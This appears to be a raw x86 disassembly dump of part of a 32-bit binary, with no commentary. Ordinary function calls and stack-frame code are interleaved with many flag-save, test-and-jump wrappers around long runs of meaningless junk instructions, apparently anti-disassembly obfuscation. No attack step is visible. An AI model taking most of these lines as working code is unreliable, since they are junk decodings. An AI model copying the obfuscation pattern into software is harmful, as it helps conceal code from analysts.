bound esp, qword [esi + 0x55]
aaa
neg byte [esi - 0x77]
mov dh, 0x35
cmc
cmc
into
popfd
int1
bound ebp, qword [ecx - 0x52]
clc
inc edi
rcl dword [eax], cl
fld dword [edx]
fsubr qword [eax + 0x2a1661d3]
lahf
mov ch, 0x62
adc dword [ebp - 0x49], 0xb78bafb2
nop
xor ecx, dword [esi]
pop ss
mov ecx, 0x3a40e8a2
fmul st(0), st(0)
stosb byte es:[edi], al
cdq
xchg edi, eax
mov ecx, 0xc13e0f3a
shr byte [ebx*8 + 0x412f4573], cl
mov esp, 0xa539a63f
cmp edi, dword [edi + 0x3a9a08b8]
mov dl, ah
inc edx
or byte [edx + 0x42e2883a], bl
adc eax, esi
adc byte [ebx - 0x34], dh
aad 0x59
je 0x100859da
mov al, byte [0xc983a7c]
xor ebp, dword [ecx + 0x64]
popfd
jl 0x100857ed
mov edi, dword [ebp - 0xcd8]
jmp 0x10085d51
mov byte [ebp - 0xcb1], 1
cmp esi, dword [ebp - 0xc4c]
je 0x10085e9d
invalid
cmp dword [esi + 0x14], 0x10
jb 0x10085a32
pushfd
test byte [0x10085a29], 0x2e
je 0x10085a2a
mov ah, 0x19
scasb al, byte es:[edi]
inc ecx
popfd
mov ecx, dword [esi]
jmp 0x10085ad0
mov ecx, esi
pushfd
test byte [0x10085ace], 0x31
je 0x10085acf
inc ecx
jge 0x10085a07
sbb dword [eax + ecx*8 - 0x6f], ecx
mov bh, byte [eax - 0xe]
lahf
insd dword es:[edi], dx
or eax, 0x8242d8c3
cmc
or eax, 0xebeab887
scasd eax, dword es:[edi]
lock sub byte [ecx + 0x44], cl
dec ecx
inc esp
dec esi
pop esi
inc edi
cmpsd dword [esi], dword es:[edi]
insd dword es:[edi], dx
jbe 0x10085aa8
jb 0x10085a5d
jae 0x10085a78
stosd dword es:[edi], eax
pushfd
sbb dword [esi - 0x7f], esp
inc esi
aam 0xa4
fidivr dword [edi + 0x7ec19b5a]
pop edi
mov bl, 0x13
dec ebx
sbb ch, byte [ecx + 0x162f577d]
sar dword [esi + 0x5f], 0xb3
adc ecx, dword [ebx + 0x1a]
test eax, 0x162f577d
pop ebp
test al, 0x93
pop es
call 0x52c65bfd
sbb ch, bl
cmp al, al
insb byte es:[edi], dx
jl 0x10085a8a
outsd dx, dword [esi]
add dword [esi + 0x3aeb1a42], edi
shl byte [ebp + 0x6c], 0x7c
hlt
popal
or byte [ecx + ebx*4 - 0x53f7cad9], dh
jg 0x10085aa7
mov al, 0x63
xchg edx, eax
xchg ecx, eax
xchg byte [edi + 0x53], al
inc eax
or dl, ah
and byte [esi + 0x79d65fbb], bl
xor al, 0xc7
cmc
int3
popfd
cmp dword [edi + 0x14], 0x10
jb 0x10085bd1
mov eax, dword [edi]
jmp 0x10085bd3
mov eax, edi
push ecx
push eax
call fcn.1011f079
neg eax
sbb al, al
inc al
pop ecx
pushfd
test byte [0x10085c1b], 0xef
jne 0x10085c1c
test dword [ebx], ebp
scasb al, byte es:[edi]
dec edi
and eax, 0x272171e6
salc
pop ebp
mov ebp, 0x52a35952
int3
popfd
pop ecx
jne 0x10085c6d
pushfd
test byte [0x10085c65], 0x49
jne 0x10085c66
stosd dword es:[edi], eax
add al, 0x2d
imul edi, dword [ecx - 0x3d], 0xffffffaf
mov eax, 0x1f0b4ece
rcl dword [edx], 0x3f
push ebp
fld dword [eax + 0x4c109adc]
push ds
lds edi, [esi]
inc edi
sbb eax, edi
add ebp, eax
fisub dword [edi - 0x28]
dec esi
pop ebp
ja 0x10085c8c
dec esp
pop ebx
xchg edi, eax
clc
mov edx, 0xc532db7
mov edx, fs
movsb byte es:[edi], byte cs:[esi]
sub ecx, esi
jno 0x10085c58
cmpsb byte [esi], byte es:[edi]
in al, 0xba
adc al, 0xc6
popfd
mov byte [ebp - 0xcb1], bl
add esi, 0x1c
add edi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x10085a16
invalid
pushfd
test byte [0x10085d43], 0x22
jne 0x10085d44
add byte [ebp + 2], dh
jne 0x10085c91
inc ebx
xchg esi, eax
jge 0x10085c1c
aam 0x2f
xor byte [ebx], ah
mov esi, 0x9ddb95c2
push eax
pop eax
loopne 0x10085cdf
insb byte es:[edi], dx
cmp esi, dword [eax + 0x668582d3]
mov byte [edx + ebx*2], bl
push ss
sbb cl, dh
add al, 0x72
dec eax
pop ss
outsd dx, dword [esi]
out 0x37, al
and ebp, dword [ecx - 0x158fd49]
push ecx
mov eax, 0xbb8222aa
fcmovne st(0), st(6)
adc eax, 0x82f61eb0
jnp 0x10085cd8
cmp eax, 0x6eb83cc5
jae 0x10085c77
clc
sahf
sub al, 0x8e
aad 0x4e
salc
or edx, ebx
shl dword [edx], 1
cmp eax, 0x15bf3017
push ebp
push esp
dec eax
mov edi, 0x48545515
mov eax, 0xb419e1b2
mov bl, 0xaa
pop edi
clc
adc ah, al
pop eax
adc eax, 0x28b1a99e
das
pop ss
pop ecx
loopne 0x10085d77
jl 0x10085d5e
cli
add dword [edx - 0x533ef76e], edx
lodsb al, byte [esi]
cwde
xchg esi, eax
mov ebx, 0xe783eaa6
insd dword es:[edi], dx
inc dword [0x4614c507]
stc
movsb byte es:[edi], byte [esi]
or ecx, ebp
mov dh, 0xac
pushal
xchg esi, eax
mov edi, 0xab3de4b3
adc eax, 0x4c3128be
cmp eax, 0xbe1567ab
sub byte [ecx], dh
dec esp
sub eax, 0xc67f67a9
jnp 0x10085d02
add al, 0x5d
into
pop esi
test eax, 0xaeb8dd00
or al, ah
fiadd word [eax + 0x5a]
das
fist word [ebx - 0xa6d8cb4]
sti
jnp 0x10085d68
popfd
cmp byte [ebp - 0xcb1], bl
jne 0x10085e9d
mov esi, dword [ebp - 0xc50]
cmp edi, dword [ebp - 0xcd4]
jne 0x10085a03
test dword [eax - 0x16000004], esp
sub eax, 0x9c000001
jmp 0x10085e95
pushfd
test byte [0x10085d84], 0x24
je 0x10085e85
push 0x3d
push 0x3d
inc edx
jge 0x10085d1c
sahf
xchg edx, eax
sub edi, eax
xchg dword [ebx + 0x11], ebx
jne 0x10085dc6
scasd eax, dword es:[edi]
cmp ebx, dword [ebx - 0x57]
mov ch, 0xf1
pop esi
mov edi, 0xa502db0b
pop dword [esi - 0x40]
movsx edx, byte [edi + 0xb64082d]
sub dl, byte [eax + esi]
cmp eax, dword [ebx + 0x6ff7ea6d]
jb 0x10085de5
jle 0x10085dd8
int3
invalid
jne 0x10085d85
push 0xc831b45a
in eax, dx
int1
mov eax, 0x3c570580
jge 0x10085d76
cli
or dword [eax], esp
jge 0x10085d7c
xchg byte [edx], bl
fsub st(5), st(0)
ror byte [ebp - 0x4f], 1
mov esi, dword [ebx - 0x64230beb]
xchg ecx, eax
adc eax, 0x919bdcf4
in eax, dx
dec ebx
in eax, 0x9e
inc eax
push ecx
pop eax
imul byte [ebx - 0x3cb6be95]
xchg ecx, eax
dec ebp
in eax, 0x6a
bound esi, qword [esi + ebp*2 - 0x3bad9df3]
and al, 0x53
or al, 0xb
inc ebx
xor bl, byte [esi + edi*8 - 0x37450966]
or al, 0xd2
xor edi, dword [edi + 0x35]
mov dl, 0xf5
imul ebx, ecx, 0xffffffac
jb 0x10085e17
fldcw word [edx + esi*2 - 0x5eeecf04]
lcall 0x445, 0xb0af7e1f
sub al, 0x73
pushfd
xor byte [ecx], dl
mov eax, dword [0xaf7e1f9a]
mov al, 0x45
add al, 0x2c
jae 0x10085dc4
mov cl, ah
jl 0x10085e37
mov cl, 0xe9
or ecx, dword [ecx - 4]
stc
out dx, al
je 0x10085e2c
in al, 0x5a
sbb dword [edx], 0x44
and byte [edi - 2], al
adc eax, 0xcb5b1df8
inc esp
mov ecx, 0x7710ba95
xor bl, cl
inc esp
cmp eax, 0xc03c3904
jns 0x10085e46
adc byte [edi + 0x30], dh
retf
mov esp, 0x3827dc70
fistp word [edx - 0x2e3161e7]
adc dh, byte [edx]
sbb dl, byte [ecx - 0x6f43a328]
sub bh, byte [edx - 0x5a]
xor esp, dword [0x1efdd1c3]
sal bl, 0x9f
test ecx, edi
cmp ecx, dword [eax - 0x80]
dec ecx
push esi
shl bl, cl
mov esp, 0x8b3f3a75
xor eax, dword [0x4c833c41]
popfd
push esi
lea ecx, [ebp - 0xcd8]
call fcn.1007a294
add esi, 0x1c
inc esp
invalid
cmp esi, dword [ebp - 0xc4c]
jne 0x10085e86
mov esi, dword [ebp - 0xce8]
lea ecx, [ebp - 0xc50]
cmp esi, dword [ebp - 0xce0]
jae 0x10085f70
dec dword [edi]
cmp dword [ebx - 0x64000000], 0xfffffff6
add eax, 0x10085f60
mov ch, 0xf
test dword [esi - 0x24000000], ebx
jnp 0x10085e8f
add byte [eax], al
add byte [esi + esi*8 + 0x85f6005], bl
adc byte [ebp + 0x9e850f], dh
add byte [eax], al
pushfd
test byte [0x10085f60], 0xb5
jne 0x10085f61
fdivr qword [ebx - 0x37]
jg 0x10085eb2
dec ebx
jecxz 0x10085f1e
jnp 0x10085f25
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
xor dword [esi + 0x7f], 0xfe661d42
jae 0x10085eae
mov bh, 0x3c
in al, 0x3d
imul esi, dword [edx], 0x5f9ab86f
mov dword [0xc1f17493], eax
add ecx, dword [ecx + ebx]
inc eax
shr ecx, 0xc9
in eax, 0x1f
or dh, byte [edi + 0xbb52653]
fsub st(3)
xor eax, 0x20998594
mov al, 0x82
sbb byte [ebx - 0x13], dh
and eax, 0x7c0d1168
outsb dx, byte [esi]
sbb esp, dword [0x2734c813]
mov ebx, 0xbc0e7f6
inc ebx
fldcw word [ecx + 0x3b]
mov cl, al
mov dl, 0x86
fsub dword [edi - 0x13]
cli
xor dl, bl
sub eax, 0xc6ed02d7
inc eax
pushal
lodsb al, byte [esi]
mov byte [eax + 0x60], 0xac
les esp, [0x6cdae3a4]
mov esi, 0xac412494
jo 0x10085fa2
js 0x10085f13
mov eax, dword [0x72a8ae6]
sti
sub bl, 7
leave
adc dword [0xcdc566e8], 0x160a4599
mov ch, bh
push ebx
in al, dx
in eax, 0x74
or ch, byte cs:[edi + 0x371cc848]
daa
jnp 0x10085ef8
fdivr qword [esi - 0x2f]
popfd
mov byte [ebp - 4], 0x11
call fcn.100790d4
jmp 0x100856eb
call fcn.100790d4
push dword [ebp - 0xcf0]
call fcn.10121f24
pop ecx
lea ecx, [ebp - 0xd4c]
call fcn.1005eb20
lea ecx, [ebp - 0xd20]
mov byte [ebp - 4], 3
call fcn.1005cc6e
mov eax, dword [ebp - 0xcd4]
pushfd
test byte [0x10086011], 0xd1
jne 0x10086012
dec ebx
adc eax, 0xd7f00c4c
shrd dword [edi + ebx], ebp, 0xe0
xor eax, dword [ebx + 0x61]
push ebx
in al, dx
imul ebx, dword cs:[ebp + 0x34], 0xd9ac8de1
pop ss
rcr dh, 1
mov bh, 0xce
mov bl, 0xbc
mov edx, 0xf37ea3bc
arpl word [ecx + 0x228de89e], bp
int 0xac
adc byte [0x133f9c44], 0x9e
out dx, eax
cmc
das
mov dword [0xb64c9da6], eax
or byte [esi - 0x44a162a8], cl
cmpsb byte [esi], byte es:[edi]
add eax, 0xfe9d6183
xchg esp, eax
xor al, 0x7c
mov dword [esi + 0x4fb71a7d], ebx
cmp al, byte [edx]
mov edx, 0xdab4c486
add byte [edx], cl
pushal
xchg edi, eax
test dword [ebx], ebx
mov cl, 0xfa
movsb byte es:[edi], byte [esi]
mov esi, 0x87d0be60
xor dword [edi], esi
popfd
sub eax, dword [ebp - 0xcd8]
push 0x1c
pushfd
test byte [0x10086037], 0x35
jne 0x10086138
ja 0x1008605a
mov es, word [esi - 0x414e3099]
xchg dword [ebp + 0x7dc5dddb], edi
inc esi
jne 0x10086082
dec ebp
jmp eax
into
adc byte [ecx - 0x1705b768], dl
xchg esp, eax
xchg ebx, eax
mov eax, 0x6a29f643
hlt
jl 0x100860cc
xor ah, dl
ret
test eax, 0x37b0992f
cdq
pop eax
pop ss
scasd eax, dword es:[edi]
mov al, byte [edi - 0x76e795f7]
stosd dword es:[edi], eax
mov ecx, 0x4522e87a
into
add byte [eax], cl
sar byte [eax + 0x6b], cl
mov gs, word cs:[ebx - 0x67]
mov al, byte [0xaad02e9f]
std
jae 0x100860db
and ebp, ebx
fldcw word [edi]
pop ebx
xor dword [edi - 0x43856053], edi
in eax, 0x3a
push esi
cmp dh, ah
adc byte [edi - 0x16f34ef6], al
ror dword [ebx], 0x3f
push ecx
fist dword [edx - 0x337a415f]
and al, 0xc3
sbb byte [edx], dh
cmp byte [bp + di + 0x6273], ch
mov ch, bh
adc eax, 0x56c3a4c2
scasd eax, dword es:[edi]
inc edi
lea esi, [edx - 0x8c738c1]
mov bl, cl
and eax, 0xe3065844
jno 0x1008611c
stc
add al, 0x57
xchg ebx, eax
popfd
cdq
pop ecx
idiv ecx
mov esi, eax
cmp esi, ebx
jbe 0x10086a69
xchg byte [edx], ah
or dword [eax], eax
add byte [ebx - 0xcd77b], cl
dec dword [ebx - 0xcdb43]
dec dword [ecx - 0xcc363]
dec dword [ecx - 0xcb77b]
jmp [edx - 1]
mov eax, dword [ebp - 0xcd8]
mov edi, dword [ebp - 0xcdc]
mov dword [ebp - 0xcc4], ebx
mov dword [ebp - 0xcb8], eax
test dword [eax - 0xd], ecx
invalid
push 0xffffffffffffffff
push ebx
push dword [ebp - 0xcb8]
pushfd
test byte [0x10086236], 0x32
je 0x10086237
xchg edi, eax
jbe 0x100861da
mov al, byte [0xd5750747]
and eax, 0x65cf0c84
movsb byte es:[edi], byte [esi]
push edx
neg byte [eax - 0x23]
push ebp
enter 0xffffffffffff8f4f, 0xffffffffffffffb4
jae 0x100861ed
cld
push 0xffffffffffffffea
nop
popal
add dh, al
jb 0x10086142
pushal
push cs
mov word [ecx - 0x7f], di
mov eax, dword [0xac005c7d]
push ds
loop 0x1008615a
xor byte [ebx + 0x7f2cbc14], ch
and dl, byte [0xf0572fd4]
sbb al, 0xa1
imul ecx, dword [ecx + esi*4 + 0x20c87868], 0xe
inc esi
mov dword [0x8c6ba63b], eax
ror dword [0x3e89ad27], 0x63
pop ebx
cmp al, 0x8d
xor al, byte [edx]
pop edi
int3
push 0x4331a423
pop edi
cwde
push 0x399cc9ac
out dx, eax
adc eax, dword [eax + 0x7fd58a69]
jb 0x100861f7
stosb byte es:[edi], al
clc
popal
and byte [edx + 0x1cfb0e40], ch
cmp al, 0x6b
xchg dword [eax + 0x78], esp
pop edx
or esi, dword [ebx]
sbb al, 0x3c
imul eax, dword [edi + 0xb5a7860], 0x33
push ds
dec ebp
int3
add cl, byte [edi - 0x7e]
pop ebp
inc esi
adc al, 0x13
push esp
inc edi
in eax, dx
sbb byte [ecx], ah
movsd dword es:[edi], dword [esi]
in eax, 0xd5
imul ecx, esi, 0x46
pop ecx
ror byte [edx + 0x64e93645], cl
in al, 0xaf
or ebp, dword [ebx + 0x7c]
mov al, byte [0x9873a6dd]
sub eax, 0x502113ca
outsb dx, byte [esi]
out dx, al
jne 0x10086258
stosd dword es:[edi], eax
mov ecx, 0xa680711e
dec ebp
popfd
lea ecx, [edi + 0xac]
call fcn.1006981e
lea eax, [esi - 1]
cmp dword [ebp - 0xcc4], eax
je 0x1008636b
push 0x10147498
call fcn.1011d740
in al, 0x74
or dword [eax], eax
pop ecx
push eax
push 0x10147498
lea ecx, [edi + 0xac]
pushfd
test byte [0x10086364], 0x73
jne 0x10086365
add byte [eax - 0x75], bh
js 0x10086204
mov dh, 0x73
mov ecx, 0xf0650a1e
pop edi
mov ebp, 0x49902a76
jnp 0x1008622d
push esp
js 0x100862a5
cwde
mov ecx, 0xb721a05b
jle 0x10086231
out 0xcd, al
jl 0x10086276
push ds
nop
add dword [edx - 0x41], eax
in al, dx
adc byte [edx + 0x28], ah
xchg esp, eax
loop 0x10086317
fadd st(5), st(0)
pop ebx
aad 0x8f
sub edi, dword [ebx - 0x360308d7]
sbb eax, 0x49467f50
in al, dx
mov ch, 0xf
cmp dword [ebp + 0x35], 0xffffffb6
jbe 0x10086325
movsd dword es:[edi], dword [esi]
salc
sbb al, 0xda
dec ebx
lodsd eax, dword [esi]
aaa
enter 0x465d, 0x69
xor edi, dword [ecx + esi + 0x5d41ac86]
stosb byte es:[edi], al
pop ds
and al, 0x45
daa
or byte [edi + ebp - 0x3f13a5a9], 0x69
mov eax, dword [0xe6793f55]
add eax, 0x5a899eb
and ch, byte [edi]
pop edx
jg 0x10086293
lodsd eax, dword [esi]
mov dword [0x1531efe8], eax
jns 0x1008635e
adc al, 0x43
or al, 0xa5
push 0x63d2913a
salc
adc edx, edi
push ss
xchg ecx, eax
or byte [eax + esi*2 + 0x39bddd4b], al
sub al, 0x97
pop ebp
push ebx
dec eax
add al, 0xcf
scasb al, byte es:[edi]
xor dword [ebx], ebx
rcr ecx, 0x3a
xor dword [eax - 3], esp
aaa
test byte [ebx], ch
mov byte [edi - 0x62], dl
push edi
sahf
mov edi, ss
test byte [eax - 0x40], 0xc1
mov eax, 0x6c0c32e7
lea ebp, [ebp - 0x6ec854d4]
sar dword [eax + 0x6c0c32e7], 0x8d
lodsd eax, dword [esi]
sub al, 0xab
aaa
xchg ecx, eax
cmp esi, esi
sub ecx, dword [eax]
enter 0x2ab5, 0xffffffffffffffa5
sub byte [ecx + 0x2b], 0xc9
xor ch, ah
mov edi, 0x95394391
mov bl, 0xf8
sbb eax, 0xc0b3e1eb
nop
lea edi, [ecx]
xor ebp, ebx
xlatb
jns 0x1008631e
jb 0x100863ad
out 0x74, al
inc ecx
aas
mov ebp, 0xa3868c91
sbb al, byte [edi - 0x27]
daa
mov dword [0x26d9471a], eax
daa
inc edi
popfd
call fcn.10069c89
inc dword [ebp - 0xcc4]
add dword [ebp - 0xcb8], 0x1c
cmp dword [ebp - 0xcc4], esi
pushfd
test byte [0x10086476], 0xb3
jne 0x10086477
xchg esp, eax
ffree st(0)
add byte [0xf3ba8461], 0xe
sub eax, 0x141c0466
push ss
xchg ecx, eax
scasb al, byte es:[edi]
mov fs, ebp
mov edx, 0x544a4285
push edi
fimul dword [ebx - 0x3a]
adc esi, dword [ebp - 0x31]
add eax, 0x3ba405eb
xor edi, dword [edi]
out 0x63, al
jnp 0x100863df
iretd
push ebx
adc eax, 0x70642f4e
cmp dword [ebx + 0x23], ebx
pop esp
insb byte es:[edi], dx
out 0xfb, al
sub al, 0x56
test edi, ecx
mov bh, 0x8a
push ebx
and eax, dword [eax]
rcl byte [eax + 0x775674de]
push ebp
div dword [eax + 0x2c]
push cs
popfd
test dword fs:[ebx - 0x14], esi
in al, dx
add edx, dword [esi + edi]
jecxz 0x100863a0
push eax
cmp byte [ebp - 0x666d6256], bh
std
push esi
dec edi
cld
fnstenv [edi]
or byte [edi + ebp*8], ch
sbb esi, 0x4b
cwde
sti
das
cmc
mov edx, 0x1b876bb
mov ch, 0x6b
cmp al, 0xa3
jle 0x100863dc
push esi
int1
fsub st(6), st(0)
push esi
jne 0x100863ab
mov dword [esi], 0xa3510c48
or bh, dl
jno 0x100863c2
pushfd
aam 0x28
sub dword [eax], ebx
imul esp, dword [ecx + esi*8 - 0x4ec87697], 0xd1b815a
mov al, byte [0x8b10ab0a]
pop ebp
clc
sub eax, 0xbc3a3076
dec ecx
xchg dh, bl
or bl, byte [ebp - 0x63]
sbb al, 0x98
fsubr dword [edx + ebx]
inc edi
scasb al, byte es:[edi]
push ebp
pop edx
mul dword [ebx - 0x7d]
cdq
push ebx
add dword [ebp - 0xc], ebp
pop ecx
cmp ebx, edi
dec ecx
xor al, 0xc
xor dword [ebx + 0x2c], ebp
add eax, 0xf560e6a7
xor dword [0x5332d100], eax
aam 0x6d
jo 0x100864be
arpl word [ebx + 0x6d015399], ax
hlt
cmc
jecxz 0x10086445
or bh, al
lahf
aam 0x9a
cmpsd dword [esi], dword es:[edi]
mov edi, 0xfc69d430
cld
inc ebp
or dword [esi], ecx
push esp
popfd
jb 0x1008615f
push 0x10146828
lea ecx, [ebp - 0xc94]
call fcn.10005af6
mov edi, dword [ebp - 0xcdc]
lea eax, [ebp - 0xc94]
pushfd
test byte [0x100864bd], 0x57
jne 0x100865be
mov ch, 0x95
sal byte [ecx - 0xc], cl
jbe 0x1008652e
outsb dx, byte [esi]
mov al, 0x42
jbe 0x10086472
mov eax, 0xa43b533f
test dl, ch
in al, 0x16
arpl ax, ax
sub eax, 0xc2179b2e
adc eax, 0x3b2328e6
shr byte [0xc2179b2e], 0x15
out 0x28, al
and edi, dword [ebx]
or cl, bh
fisub word [eax - 0x3f5e280e]
mov fs, edx
cmp esp, ebx
not byte [eax - 0x166bed28]
imul esp, dword [eax + 0x5b171497], 0x15bc12d0
inc byte [eax - 0x70]
sar dword [eax], cl
adc ch, byte [eax - 0x27]
test dword [ecx], esp
bnd jg 0x100864d5
xor bh, byte [ebp - 0x3818d854]
out 0xc7, eax
lds esp, [ebp + 0x473e63d1]
movsb byte es:[edi], byte [esi]
xchg edi, eax
sbb edx, dword [esp + eax*4 + 0x65]
call 0xcc1be965
push ebp
fmul dword [edi + edx*2 - 0x35]
mov edx, 0x618a6297
and ah, byte [ecx]
add dl, ch
adc al, 0x37
je 0x1008652b
push cs
loopne 0x100864be
sub ch, ah
add eax, 0xc10c34d1
into
in al, 0xf3
xor byte [ebx - 0x70], ah
sal dword [esp + ecx], 1
ror esi, 0xe4
xor byte [ebx - 0x70], ah
nop
and ecx, ecx
pushfd
and dl, byte [edx - 0x5b]
outsd dx, dword [esi]
mov edx, 0x55eb90f4
mov edx, 0x4cf7af8
jle 0x1008651c
inc edx
jno 0x100864f8
les esi, [ecx + 0x4d]
mov ebp, 0x5d07659c
cmp ebx, esi
outsb dx, byte [esi]
push esp
shl byte [esi + 0x6cc39c04], 1
pop es
mov ebx, 0x950f61c
mov es, word [eax]
arpl word [ebx - 0x54c75538], dx
sbb byte [edi*4 - 0x575e9628], 0x84
mov edi, 0xc58fe817
adc byte [ebp + edx*4 + 0x3cf9b115], bh
adc bh, cl
sal byte [eax - 0x58], 0xc2
push cs
dec esi
pop ebp
repne insd dword es:[edi], dx
cmp edi, dword [esi - 0x7609426a]
jbe 0x10086522
test eax, 0x6df32b43
push 0x704c5c73
std
mov al, byte [0xefe77889]
cdq
mov bh, byte [eax + 0x72217ef4]
sub eax, 0x23127634
pop ebp
xchg ebp, eax
dec eax
and bl, dh
add bl, dh
add cl, cl
scasb al, byte es:[edi]
movsd dword es:[edi], dword [esi]
dec esi
cmc
cmp dword [0x411d778f], eax
jl 0x100865f3
xor al, 0x5c
lahf
popfd
push eax
lea esi, [edi + 0xac]
lea eax, [ebp - 0xc5c]
push esi
push eax
mov bh, 0xac
add byte [eax], al
add byte [ebp - 0xc5b7b], cl
call dword [esi + 0x50]
mov byte [ebp - 4], 0x14
call fcn.10077d9d
add esp, 0xc
push eax
mov ecx, esi
mov byte [ebp - 4], 0x15
pushfd
test byte [0x100866c7], 0xea
jne 0x100866c8
test cl, bl
sal byte [edi], 0x7d
enter 0xffffffffffffa0fd, 0x19
jecxz 0x100865c1
aaa
jge 0x100865be
std
mov al, byte [0xd0c6e319]
jno 0x1008663e
sal byte [ecx + 0x40], 1
xchg edi, eax
add dword [edx], edx
sbb al, 0x99
mov ah, 0xc0
xor al, 0x8b
fcomp st(2)
movsd dword es:[edi], dword [esi]
cmp cl, byte [eax - 0x6ac35068]
push edx
mov esi, 0x47e9d3c1
push esi
adc eax, 0x6683531e
adc byte [eax], bl
and dword [esi + 0x10], 0x18
les ebx, [ecx]
mov bl, 0xfa
stosd dword es:[edi], eax
imul eax
adc dword [esi], esi
out dx, eax
mov dh, 0xc
add eax, 0x36a5cab2
test dword [ebx - 0x271a1f40], eax
in al, 0x1b
inc esi
nop
cmp byte [edx + 0x35b2f16f], bl
mov dl, 0x35
bound eax, qword cs:[ebx + 0x18]
jbe 0x10086686
ficomp word [eax - 0x51]
and al, 0x21
xchg edi, eax
outsb dx, byte [esi]
dec dword [ebp + edi + 0x78beb2f3]
imul ebx, dword [0x32e5ed4a], 0x50
fsubrp st(0)
mov word [edx], ds
cmp byte [eax], bh
jne 0x1008661b
or byte [ebx], cl
xor al, 0xd6
fisttp dword [ebx + ecx*8 - 0x4539d071]
cmp al, 0x33
and esi, edi
push edx
scasb al, byte es:[edi]
dec ecx
sub byte [ecx + 0x7563c4c6], bh
test esi, esi
bound esi, qword fs:[edx]
and esi, dword [eax]
mov edi, 0x434aee1d
inc ebx
aam 0xa8
cwde
fadd qword [esi + 0x7dd0a801]
salc
outsd dx, dword [esi]
dec ecx
daa
fdiv dword [edi - 1]
in al, dx
jecxz 0x100866de
mov dh, 0x25
mov ah, 0xe6
dec edx
or dl, byte [ecx + 0x50]
dec esp
dec edi
sbb eax, 0x24af0839
dec dword [ebp + ebx*8 + 0x3f]
mov esi, 0x5496be56
jb 0x100866b4
sbb edi, esp
jo 0x10086708
pop esp
mov eax, dword [0xe6bc82ef]
leave
test esp, ecx
fisttp word [ebx + 0x175f1cc7]
push ebp
int3
popfd
call fcn.10005d3b
pushfd
test byte [0x10086735], 0x8b
jne 0x10086736
dec edx
and byte [ebp + 0x755d4ec], 0xcd
dec eax
pop es
int 0x48
shr byte [ebx + 0x71], cl
sbb eax, 0x3a2f4e73
fsub st(3), st(0)
and byte [ecx], bh
fst st(2)
sub eax, 0xa96f7b9d
stc
add byte [ebp + eax*2 - 0xe], ah
inc esp
popfd
push 0xf23707cb
jnp 0x100866d6
pop esp
cmp byte [ebx + ebx], bl
in eax, dx
stc
inc esp
pop ds
stc
mov esi, 0x49dc010a
dec ecx
xor eax, 0xd3434a16
xchg edx, eax
pop ebx
je 0x100866c0
or cl, dl
sbb ah, byte [ecx]
sbb ch, ah
cmp al, 0x11
dec edi
xor dh, byte [ebp - 0x60]
ja 0x100866bf
inc edi
sub ebx, dword [edx + 0x3b15b0a1]
test byte [ebx + 0x5f], 0x9c
stc
push edi
daa
popfd
push ebx
pushfd
test byte [0x1008679e], 0x82
je 0x1008679f
and al, 0x75
out 0x17, al
add eax, 0xf86b4a50
stosd dword es:[edi], eax
js 0x10086756
cmp esp, dword [edi]
or eax, 0xa402c417
lodsb al, byte [esi]
jle 0x1008670f
mov cl, 0xdd
in al, dx
sub byte [edi - 0x15e6cee8], 0xf
push ecx
or ah, byte [ebx]
cwde
aad 0x82
adc byte [esi], ah
js 0x1008677b
pop esi
adc dh, byte [ecx + 0x5db2612a]
imul edi, dword [edi - 0x1a], 0x8f2dafb9
pop edx
nop
jne 0x100867e9
lodsb al, byte [esi]
arpl word [esp + eax*4 - 0x3d], bp
jg 0x1008677b
adc dword [esi], edx
inc edx
cwde
or edi, dword [ebx - 0x117e5c4a]
or ebp, dword [ebx]
xor eax, 0x8a967f1
push edi
sahf
inc edi
sub al, 0xdc
mov al, 0x62
jl 0x100867ff
popfd
push 1
lea ecx, [ebp - 0xc5c]
pushfd
test byte [0x100867c1], 0xac
jne 0x100868c2
out dx, al
cmp al, 0x13
adc eax, 0xb6cb8104
and eax, 0x60d5b865
xor eax, 0x59dfdd9f
jae 0x10086773
jecxz 0x100867b7
aaa
int1
push ds
add al, 0xae
push edx
adc dword [edx + 0x2b], ebp
sbb ebp, dword [ecx - 0x2b]
sub byte [eax], 0x66
xchg edi, eax
mov ecx, 0x291861ff
div edx
jnp 0x1008683f
add bl, byte [edx + 0x3a]
push 0xffffffffffffffe8
cmp ch, byte [edx - 0x18]
daa
sub al, 0x5b
sub al, 0xb4
push es
popfd
and dword [ebx], ebx
sti
pop edi
pushal
std
loopne 0x1008685f
push esi
pushfd
enter 0xe0d, 0x3d
bound ebp, qword [edx - 0x73]
inc esp
push cs
cmp eax, 0x448d6a62
dec edi
cmp al, bl
int3
fsub dword [0xf24db7b4]
push esi
insd dword es:[edi], dx
cmpsd dword [esi], dword es:[edi]
jnp 0x10086891
xor dword [eax + esi*2 + 0x752293e4], esi
sbb al, 0x9a
mov byte [ecx + edi], dh
adc byte [ebx], dh
dec ebx
popfd
movsd dword es:[edi], dword [esi]
scasb al, byte es:[edi]
xchg edi, eax
xor eax, 0x1357dba1
push ds
mov eax, dword [0x1e1357db]
mov edi, 0x65fa01e6
fld xword [eax]
sub al, 0x32
inc esp
adc al, 0x31
les edi, [edx]
mov dh, 0x78
cmp eax, 0x78c04c91
dec esi
or eax, 0xd59b0c7c
mov byte [eax - 0xbb536f0], dh
fcomp qword [edx - 0x426cef97]
mov ecx, 0xb6b15124
outsd dx, dword [esi]
sar byte [eax + 0x4e], 0xd
jl 0x10086889
wait
aad 0x88
mov al, 0x10
leave
dec edx
hlt
xchg ebx, eax
mov ebp, 0xb15124b9
mov dh, 0x6f
popal
mov edx, 0xd044c0f1
push 0x5b
rol al, 1
dec ebp
or dword [ecx + 0x25], ebx
push cs
fisubr dword [esi + 0x52]
fistp word [eax]
mov dl, byte [eax + 0x1a]
sub dword [ecx - 0x48], 0xb5741385
or dword [esi - 0x213b0607], eax
jle 0x10086877
and al, byte [ebp - 0x374ead6b]
and eax, 0x3c58b0e7
popfd
call fcn.10002a9a
rol cl, cl
idiv edi
push ebx
push 1
lea ecx, [ebp - 0xc94]
mov byte [ebp - 4], 3
call fcn.10002a9a
mov eax, dword [edi + 0xbc]
cmp eax, ebx
jbe 0x10086a69
cmp dword [esi + 0x14], 0x10
jb 0x100868f2
mov ecx, dword [esi]
jmp 0x100868f4
mov ecx, esi
cmp byte [ecx + eax - 1], 0x3b
je 0x10086a69
pushfd
test byte [0x100869ec], 0x1e
jne 0x100869ed
sub dword [esi], ecx
js 0x1008697a
in al, dx
and eax, 0xf7620b9c
adc cl, byte [ebp + 0x2a]
jbe 0x100868c4
xor eax, 0x6e7140f0
outsb dx, byte [esi]
pop ebx
or dword [edx], esp
